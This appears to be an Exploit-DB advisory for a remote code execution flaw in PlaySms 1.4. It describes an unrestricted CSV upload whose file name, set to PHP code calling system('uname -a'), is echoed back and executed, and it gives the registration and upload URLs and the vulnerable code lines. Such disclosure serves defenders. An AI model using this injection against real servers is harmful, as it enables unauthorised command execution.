PlaySms 1.4 - Remote Code Execution

EDB-ID: 42003
Author: Touhid M.Shaikh
Published: 2017-05-14
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

 # Date: 14-05-2017 
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps

1. Description

Unrestricted File Upload:
Any registered user can upload any file because of not proper Validation of file in sendfromfile.php

Code Execution using $filename
Now We know sendfromfile.php accept any file extension and just read content not stored in server. But there is bug when user upload example: mybackdoor.php server accept happily but not store in any folder so our shell is useless. But if User change the file name to "mybackdoor.php" to "<?php system('uname -a'); dia();?>.php" den server check for file and set some perameter $filename="<?php system('uname -a'); dia();?>.php" , U can see code below and display $filename on page.

For More Details : www.touhidshaikh.com/blog/

2. Proof of Concept

Login as regular user (created using index.php?app=main&inc=core_auth&route=register):

Go to : http://127.0.0.1/playsms/index.php?app=main&inc=feature_sendfromfile&op=list


This is Form.
----------------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_sendfromfile&op=upload_confirm\" enctype=\"multipart/form-data\" method=\"post\">
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file') . "</p>
<p><input type=\"file\" name=\"fncsv\"></p>
<p class=help-block>" . _('CSV file format') . " : " . $info_format . "</p>
<p><input type=checkbox name=fncsv_dup value=1 checked> " . _('Prevent duplicates') . "</p>
<p><input type=\"submit\" value=\"" . _('Upload file') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------


-------------PHP code for set parameter ---------------------------

case 'upload_confirm':
$filename = $_FILES['fncsv']['name'];

------------------------------php code ends ---------------------------


$filename will be visible on page:
----------------------Vulnerable perameter show ----------------------

line 123 : $content .= _('Uploaded file') . ': ' . $filename . '<p />';

----------------------------------------------------------------------

Related Posts

Comments